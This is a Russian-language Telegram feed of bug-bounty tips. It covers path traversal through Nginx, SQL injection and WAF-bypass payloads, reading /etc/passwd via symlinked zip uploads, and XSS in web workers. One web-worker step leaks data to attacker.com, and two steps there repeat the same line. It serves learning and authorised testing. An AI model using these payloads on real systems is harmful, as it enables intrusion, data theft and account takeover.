Standoff Bug Bounty Tips – Telegram
😵 Получаем access token через wildcard origin в postMessage

Если веб-приложение передаёт access token через postMessage и при этом не ограничивает origin, а использует подстановку (*), — это может привести к краже токена.

В таком случае ты можешь перехватить сообщение и докрутить до account takeover. Обращай внимание, если в postMessage стоит * вместо доверенного домена.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11
🔥 Merge slashes в Nginx

Ситуация: бэкенд уязвим к Path Traversal, но пробиться через ../ не выходит — мешает Nginx-прокси, который сразу рубит запрос с ошибкой 400 Bad Request, как только вылезает выше корня.

😵 Примеры:

/../../anything → 400 Bad Request
/deep/path/../../anything → OK
/deep/path/../../../anything → 400 Bad Request


Но есть нюанс: если в конфиге отключён merge_slashes (значение off), Nginx не будет схлопывать двойные и более слэши (//) перед проверкой. Это позволяет обойти его:

1. Для Nginx путь выглядит очень глубоким из-за /////.

2. Прокси думает, что ты ещё внутри разрешённого диапазона.

3. А вот приложение, которое реально работает с файловой системой, уже нормализует путь, схлопывает все // в / и получает нормальный Path Traversal.

💡 Если уязвимый эндпоинт лежит не в корне, а глубже (например /deep/path), то уже оттуда можно подниматься на несколько уровней без всяких merge_slashes off. Как видно из примера выше, /deep/path/../../anything всё ещё отрабатывает.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥74
💉Идентификация SQLi через ошибки сервера

☝️Если при эксплуатации SQL-инъекции сервер пятисотит, при этом обычные булевые инъекции дают нестабильные результаты, попробуй пэйлоады из примеров. Они должны вызывать 500-ю ошибку в случае, когда условие (1=1) истинно.


В классических boolean-based инъекциях мы проверяем разницу между TRUE и FALSE условиями по ответу сервера (размер страницы, различие в содержимом и т.п.).

Но бывают ситуации, когда сервер ведёт себя одинаково, и различия отследить сложно (например, ответ всегда 200 ОК, одинаковый HTML).

💡 В таких кейсах можно использовать подход «инъекция через ошибки»:

☑️ Пэйлоад искусственно вызывает ошибку (деление на ноль, загрузка несуществующего расширения, преобразование типа и т.д.)

☑️ Если условие истинно, возникает ошибка → сервер возвращает 500 Internal Server Error

☑️ Если условие ложно, ошибка не срабатывает → сервер отвечает нормально

P. S. Вместо анализа различий в HTML, анализируй факт наличия/отсутствия ошибки, — это помогает надёжно извлекать данные там, где boolean-инъекции «шумят» или плохо работают.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍51👾1
AutoRepeater + Taborator = 🔥

Объединяй расширения Burp AutoRepeater и Taborator для автоматизации воркфлоу и максимизации результатов поиска SSRF:

✔️ Настрой регулярное выражение в AutoRepeater для поиска потенциальных URL-адресов и замени его на плейсхолдер Taborator $collabplz.

✔️ Это будет повторять запрос, изменяя URL на твой Burp Collaborator. Если SSRF-атака будет успешной, ты увидишь HTTP callback в Taborator с точным запросом, который её вызвал.

P. S. Мы уже упоминали об аналогичной автоматизации, но с использованием стандартных возможностей замены в Burp.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔5👍4
💨 Техника XSS Hoisting для багхантера

Представь, что у тебя есть XSS, но перед точкой инъекции есть неопределенная переменная. Все надежды потеряны?

Нет, ты можешь использовать технику XSS Hoisting, чтобы объявить переменную и продолжить эксплуатацию.

🤝 Больше шпаргалок по XSS — тут

С какими нестандартными векторами эксплуатации XSS вы встречались в своей практике? Поделитесь с сообществом ⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
👎73🤡3😐3👍2🔥1🤔1
🥷🏿 Поиск коллизий кэша

Современные веб-архитектуры любят кэширование. Их много: на уровне приложения, на уровне CDN/прокси — и каждый живёт своей жизнью.

Но стоит конфигурации чуть разойтись, и начинается магия: разные кэши начинают хранить разные версии одного и того же ответа.

Рассмотрим пример приложения на Drupal, которое использует два кэш-заголовка: X-Drupal-Cache (кэш на уровне приложения) и X-Cache (кэш на уровне прокси/CDN). Когда страница успешно закэширована, эти заголовки показывают статус HIT; если нет — MISS.

Первый запрос возвращает X-Cache: HIT, что подтверждает кэширование страницы, хотя заголовок X-Drupal-Cache показал MISS:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: MISS
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 6
X-Cache: HIT


Когда мы добавляем Authorization в запрос, оба заголовка возвращаются со значением HIT:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Authorization: test

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 12
X-Cache: HIT


Когда снова удаляем Authorization из запроса, статус X-Drupal-Cache: HIT сохраняется:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 5
X-Cache: HIT


Это указывает на то, что были задействованы два разных механизма кэширования, позволившие сохранять ответы в кэше при разных условиях.

🚨 Что это значит?

Система пытается разделять авторизованных и неавторизованных пользователей, но механизм кэширования игнорировал заголовок Authorization. В итоге приватный ответ мог попасть в публичный кэш → любой юзер получит чужой контент.

По сути, это Cache Deception. Если на проекте несколько уровней кэша и они по-разному трактуют заголовки — явный признак наличия бага:

💡 Всегда проверяй, какие заголовки влияют на кэширование (Authorization, Cookie, Host и т.п.)
💡 Сравнивай ответы приложения и CDN
💡 Ищи «залипшие» HIT-ы там, где должны быть MISS
Please open Telegram to view this post
VIEW IN TELEGRAM
6
💉 SQL-инъекции сегодня: от базы до обхода WAF

На сегодняшний день SQLi не так часто встречаются в багбаунти, но тут как никогда актуальна поговорка:

Все новое — это хорошо забытое старое


Инъекцию можно встретить в разных частях SQL-запроса: в операторах SELECT/ORDER BY, UPDATE (внутри WHERE), DELETE и INSERT.

🔥 Основные типы SQLi:

▪️Union-based, error-based
▪️Blind: boolean-based, time-based
▪️Out-of-Band SQLi через DNS/HTTP коллбэки
▪️Second-Order SQLi

Многие начинающие багхантеры используют стандартный пэйлоад "x' OR 1=1 -- -" везде, но это работает не всегда. Особенно проблематично с INSERT запросами:

INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');


Этот пэйлоад может сломать синтаксис и нарушить структуру запроса.

Используй контекстно-зависимый пэйлоад:

▪️"x'||'y" — для конкатенации строк
▪️"x', (SELECT ...), 'y')-- -" — для корректного закрытия VALUES

🗡 Пример результата:
INSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');


🛡 Примеры для обхода современных WAF

1. Замена пробелов комментариями:
'/**/OR/**/1=1--/**/-


2. Использование переносов строк:
'OR%0A1=1--%0A-


3. Скобки для изменения паттерна:
'OR(1=1)-- -


4. Смешивание регистра:
'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -
Please open Telegram to view this post
VIEW IN TELEGRAM
🤨8👍5🔥2🤔2
🥷🏿 Path Traversal в Nginx: байпас авторизации через $request_uri

Представь — у тебя есть валидный JWT, но только права обычного юзера. А что если одним HTTP-запросом получить админские права? Или вообще обойтись без токена там, где он нужен?

💡 Идеальные условия

▪️API с микросервисной архитектурой
▪️Kubernetes + Nginx ingress (Kong, Apache APISIX, F5 NGINX)
▪️URL вида api.example.com/service-name/endpoint или api.example.com/customer-service, а не user.example.com или customer.example.com
▪️Централизованная аутентификация/авторизация (например, JWT проверяется именно на ingress, а не каждым сервисом)

⤵️ Пошаговый гайд

1. Проверяем архитектуру — ищем Nginx в ошибках, отправив запрос к несуществующему сервису:

curl --path-as-is https://api.example.com/sdalksjdeiu1/customer-serivice/endpoint1


2. Тестируем нормализацию ../ и ..%2F:
curl --path-as-is https://api.example.com/sdalksjdeiu1/../customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%2F/customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%252Fcustomer-serivice/endpoint1


3. Находим публичный сервис:
▪️Ищем эндпоинты без аутентификации
▪️Обычно это /health, /status, /public-api

4. Эксплуатируем:

4.1. Возьми рабочий запрос к защищенному сервису, например /protected-service/protected?a=1 и измени на /public-service/..%2Fprotected-service/protected?a=1, но отправь его без токена.

4.2. Сделайте токен недействительным и отправь запрос из п. 4.1.

4.3. Подожди и сделай токен просроченным и отправь запрос из пункта 4.1.

👉 Что важно помнить

▪️Если авторизация децентрализована (каждый сервис сам решает, пускать ли), уязвимость не сработает.

▪️Если всё централизовано и ingress ошибается в нормализации — шанс на баг есть.

🔥 Повышение привилегий

В приложении реализован централизованный контроль доступа, который проверяет, к какой группе/роли принадлежит юзер.

В этой ситуации попробуй следующие шаги:

2.1. Найди эндпоинт, к которому ты не можешь получить доступ.

2.2. Возьми действительный запрос с доказательством аутентификации (например, JWT).

2.3. Отправь запрос к эндпоинту из п. 2.1, но используя path traversal, описанный ранее.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥7🔥5😱2
🔍 Поиск багов в веб-приложениях black-box методом

При тестировании black-box методом ты не имеешь доступа к исходникам, не можешь увидеть, как работает тестируемая фича или как она обрабатывает входные данные. Поэтому необходимо ответить на несколько вопросов, включая:

▪️Какова цель фичи?
▪️Какие входные данные ожидаются?
▪️Какие типы данных поддерживаются?
▪️Какие технологии используются?
▪️Какие могут быть проблемы безопасности? И т. д.

💡 Основные техники тестирования

Существует множество методов black-box тестирования, и все они, по сути, преследуют одну и ту же главную цель: улучшить понимание фичи и/или вызвать неожиданное поведение. Последнее может включать:

▪️Покрытие кода
▪️Время процесса
▪️Сообщения об ошибках
▪️Проверки входных данных
▪️Сбои

1️⃣ Переходы состояний: анализ поведения системы при различных входных условиях

2️⃣ Фаззинг:

▪️Generation-based — генерация нового пэйлоада с нуля
▪️Mutation-based — модификация предыдущего пэйлоада

3️⃣ Угадывание ошибок: техника основана на опыте багхантера для создания тест-кейсов

4️⃣ Регрессионное тестирование: проверка функциональности после изменений в коде

🔥 Универсальный пэйлоад

<z>"z'z`%}})z${{z\


Его цель — инициирование общих ошибок, нарушения экранирования кавычек, ошибки шаблонизаторов, обнаружение XSS, инъекции форматирования и получение сообщений о некорректном вводе от целевой системы.

💬 А твоя главная цель — адаптировать пэйлоад к используемой в приложении технологии, чтобы увеличить вероятности возникновения непредвиденного поведения.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥115💯1
🚀 Как с помощью одного zip-файла прочитать файлы на сервере

Если в тестируемом приложении есть возможность загружать файлы (в том числе архивы), попробуй провести атаку через символическую ссылку.

Твоя задача — заархивировать файл, который является символической ссылкой. Символическая ссылка — это своего рода ярлык, который указывает на другой файл в файловой системе.

$ ln -s /etc/passwd test.txt
$ zip --symlinks test.zip test.txt


Если сервер примет и распакует такой архив, то при обращении к нему можно получить содержимое целевого файла:

https://domain.com/test.txt


💡 Дальше можно развить атаку — читать исходники и искать новые уязвимости уже в режиме белого ящика.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤‍🔥4🔥3
😵 Эксплуатация XSS через некорректный Content-Type

Обычно данные в формате JSON возвращаются с заголовком Content-Type: application/json, что указывает браузеру на структурированные данные. Браузеры в таком случае не пытаются интерпретировать JSON как HTML или JavaScript.

🚨 Проблема возникает, когда:

Сервер ошибочно устанавливает Content-Type: text/html (или другой неправильный тип)

В JSON-ответе содержится пользовательский ввод

Браузер обрабатывает ответ как HTML-страницу

⁉️ Как автоматизировать подобные кейсы?

Используй Burp Bambda для поиска JSON-ответов с некорректным Content-Type:

id: 6620a595-520b-1ba2-2b20-5ea8568fdb89
name: Filter JSON responses with incorrect content type
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+

return !requestResponse.request().method().equals("OPTIONS");

var contentType = requestResponse.hasResponse() ? requestResponse.response().headerValue("Content-Type") : null;

if (contentType != null && !contentType.contains("application/json")) {
String body = requestResponse.response().bodyToString().trim();

return body.startsWith( "{" ) || body.startsWith( "[" );
}

return false;


P. S. Если ты не работал с Bambdas, то самое время наверстать упущенное. Эта фича представлена два года назад и позволяет кастомизировать Burp Suite прямо из пользовательского интерфейса с помощью небольших сниппетов Java-кода.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤‍🔥31👍1
💨 Воркфлоу по использованию сессий и макросов в Burp Suite

Макросы позволяют автоматически отправлять HTTP-запросы для поддержания состояния сессии или выполнять определенные действия перед основными запросами. Правила обработки сессий определяют, когда и как применять макросы к твоим запросам.

Когда использовать:

🟠Нужно поддерживать активную сессию во время тестирования
🟠Требуется выполнить подготовительные действия перед основным запросом
🟠Необходимо извлечь и переиспользовать динамические токены/параметры
🟠Автоматизация сложных многошаговых атак

Предположим, ты крутишь логическую багу, которая позволяет манипулировать рейтингом пользователя через лайки/дизлайки и может привести к блокировке аккаунта.

Шаг 1: подготовка запросов

Тебе понадобится три ключевых запроса:

1️⃣ Поставь лайк на любой пост/действие и выдели его зелёным цветом
2️⃣ Убери лайк и выдели его красным
3️⃣ Перейди в профиль (или на любую страницу форума) и выделите его синим

Шаг 2: Настройка макроса

4️⃣ Перейди в Project OptionsSessionsMacrosAdd
5️⃣ Выбери зелёный и красный запросы для включения в макрос
6️⃣ Проверь последовательность выполнения и сохрани макрос

Шаг 3: создание Session Handling Rule

7️⃣ В Session Handling RulesAdd создай новое правило
8️⃣ В Rule Actions выбери Run a macro и укажи созданный макрос
9️⃣ В Scope настрой применение правила к нужным инструментам (например, Intruder)

Шаг 4: запуск атаки

🔟 Отправь синий запрос в Intruder
1️⃣1️⃣ Выбери Null payloads и установи concurrent requests = 1
1️⃣2️⃣ Запусти атаку — теперь перед каждым запросом будет выполняться макрос лайк/дизлайк

Упрощенно воркфлоу сводится к двум простым шагам:

Используй цвета, чтобы выделить запросы для воспроизведения
Используй правила обработки сессий (и, возможно, макросы) для автоматизации взаимодействия
Please open Telegram to view this post
VIEW IN TELEGRAM
8
#️⃣ Специальные заголовки ответов Nginx

Nginx понимает несколько специальных заголовков от бэкенда при проксировании через proxy_pass. Пример — в конфиге выше ⤴️

Бэкенду требуется возможность (или уязвимость), позволяющая внедрять произвольные заголовки ответа. Это часто встречается при SSRF — когда запросы идут на сервер атакующего.

@app.route('/')
def index():
headers = json.loads(unquote(request.args.get("headers")))
return Response("Hello, world!", headers=headers)


Заголовок ответа X-Accel-Redirect перепишет URL и выполнит повторную оценку конфигурации — в результате будет возвращён ответ по новому пути.

Если установить его значение в /internal, то будет использован обработчик для location /internal, даже несмотря на то, что запрошенный путь остаётся /. Это позволяет обойти проверку internal;, что обычно было бы невозможно при удалённом обращении.

GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1


HTTP/1.1 200 OK
...

Internal


💡 Ещё несколько внутренних заголовков, которые можно использовать в комбинации с этим:

💚 X-Accel-Charset: задаёт charset в Content-Type

💚 X-Accel-Buffering: включает или отключает буферизацию ответа

💚 X-Accel-Limit-Rate: скорость (в байтах в секунду) передачи клиенту

💚 X-Accel-Expires: время истечения кеша для ответа
Please open Telegram to view this post
VIEW IN TELEGRAM
8🔥1
🤕 Эксплуатация XSS через веб-воркер с Blob-объектами

Один из пограничных кейсов XSS — пэйлоад, выполняющийся внутри веб-воркера. Веб-воркеры исполняют JS в том же origin, но в изолированной среде: они лишены доступа к DOM, window.open(), alert() и другим обычным window-API, которые доступны при классической XSS.

🚨 Доступные методы эксплуатации

1️⃣ Fetch API

fetch() в воркерах работает в том же origin, что и main window — значит с запросами отправляются куки, и при корректных CORS-заголовках можно читать ответы.

// Отравление кеша
fetch("https://example.com/noscript.js", {
headers: { "X-Forwarded-Host": `"-alert(origin)-"` },
cache: "reload"
});


2️⃣ postMessage

Воркеры могут отправлять сообщения в main window через postMessage(). Если окно получает данные и вставляет их в DOM или выполняет eval без валидации — это путь к эскалации в полноценную XSS.

// main window
const worker = new Worker("worker.js");
worker.addEventListener("message", (e) => {
alert(e.data); // потенциальная точка уязвимости
});

// worker.js
postMessage("Hello, world!");


3️⃣ IndexedDB

Единственное общее хранилище между воркером и основным окном — можно читать/изменять данные.

4️⃣ Отравление кэша service воркера

В WorkerGlobalScope доступен объект caches, общий для страницы и service воркера. Если использует кэш, воркер может перезаписать записи в cache storage — это дает вектор для XSS.

💨 Новая техника: Drag & Drop с Blob URL

Идея простая: создаешь HTML как Blob, получаешь для него blob:-URL (URL.createObjectURL(blob)), а затем заставляешь браузер открыть этот URL в обычном контексте (не в воркере).

blob:-URL имеет тот же origin, поэтому при открытии выполнится с доступом к DOM и localStorage.

Проблема: навигация на blob:-URL напрямую часто блокируется. Решение — «утечка» URL и интерактивный шаг пользователя:

const blob = new Blob(['<noscript>alert(origin)</noscript>'], {type: "text/html"});
const url = URL.createObjectURL(blob);


Процесс атаки:

1. В воркере создаешь Blob с финальным пейлоадом:

fetch("https://attacker.com/leak?" + new URLSearchParams({ url }));


2. Линкуешь этот blob:-URL наружу:

fetch("https://attacker.com/leak?" + new URLSearchParams({ url }))


3. Подготавливаешь подконтрольную страницу для drag & drop:

<a href="blob:https://example.com/...">Перетащи меня</a>
<noscript>
ondragstart = (e) => {
window.open("", "", "left=0,top=0,height=9999,width=9999");
e.dataTransfer.clearData();
e.dataTransfer.setData("text/uri-list", "blob:https://example.com/...");
}
</noscript>


⤵️ Результат

Когда пользователь перетаскивает элемент, открывается полноэкранное окно, и при отпускании мыши blob:-URL открывается в новой вкладке, выполняя XSS с доступом ко всем API. Работает как минимум в Chrome!
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
6
🚀 Новое в арсенале багхантера: WebSocket Turbo Intruder для Burp

По сути: это Turbo Intruder, заточенный под WebSocket, плюс HTTP-middleware для автоматизации.

Зачем это нужно

🟡 WebSocket — не HTTP: один запрос ↔️ много входящих сообщений. Классические фазы ломаются.

🟡 WebSocket Turbo Intruder позволяет отправлять тысячи WebSocket-сообщений и фильтровать ответы, чтобы не утонуть в шуме.

🟡 Есть режим, который оборачивает WebSocket в HTTP — удобно для интеграции в CI/сканеры и Burp Pro.

Как поставить

ExtensionsBApp StoreWebSocket Turbo Intruder или CLI:
java -jar WebSocketFuzzer-2.0.0.jar <noscriptFile> <requestFile> <endpoint> <baseInput>


Если ручной просмотр таблицы результатов не твой стиль, ты можешь обернуть WebSocket соединение внутри HTTP запроса, используя WebSocket Turbo Intruder HTTP Middleware.

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{"user":"You"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)


Теперь ты можешь отправлять HTTP POST запрос на localhost, где тело запроса обрабатывается как WebSocket сообщение. Это позволяет сканировать любой WebSocket с помощью Burp Suite Pro или другого автоматизированного сканера.

POST /proxy?url=https://example.com/endpoint HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}


Помимо обычных ошибок приложений, WebSockets создают свою уникальную поверхность для атак. Главная цель расширения — помочь тебе их найти и проэксплуатировать.

💡 Еще больше юзкейсов в анонсе PortSwigger
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
8👍3
💨 XSS через React createElement

Функция createElement() используется для создания React-элементов. Она принимает три параметра:

const element = createElement(type, props, ...children)


1⃣ type: может быть либо строкой с именем тега (т.е. div становится <div></div>), либо классом компонента, который будет вызван для построения элемента.

2⃣ props: может быть либо объектом, либо null. Пары ключ/значение в объекте будут присвоены создаваемому элементу как атрибуты, если type — строка с именем тега, или как свойства, если type — это класс компонента.

3⃣ ...children: дочерний узел (узлы) создаваемого элемента.

Если ты можешь передать ввод из источника в sink createElement() через один или несколько из этих параметров, он может влиять на генерацию HTML и достичь DOM XSS/CSS injection (в зависимости от версии).

Предполагая,что ты контролируешь десериализованный JSON или сериализованный HTML, которые передаются в createElement(), то параметры, которые ты можешь задать, определяют, чего ты можешь достичь ⬆️

Ресурсы:

Подробнее про эксплуатацию Script Injection Flaws в приложениях ReactJS

Статья Nick Bloor про эскалацию createElement-XSS до RCE в Electron-приложениях через CVE-2023-2033
Please open Telegram to view this post
VIEW IN TELEGRAM
6
🐞 Фикс проблемы с TLS в Burp Suite

По умолчанию JDK в Burp ограничивает размер TLS-рукопожатия до 32KB (параметр jdk.tls.maxHandshakeMessageSize). Это ломает перехват трафика у приложений с большими TLS Handshake сообщениями (обычно из-за длинной цепочки сертификатов).

💡 Для решения проблемы просто добавь параметр
-Djdk.tls.maxHandshakeMessageSize=65536


в файл .vmoptions Burp. Если файла нет — создай вручную и укажи путь через настройки запуска Burp.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍2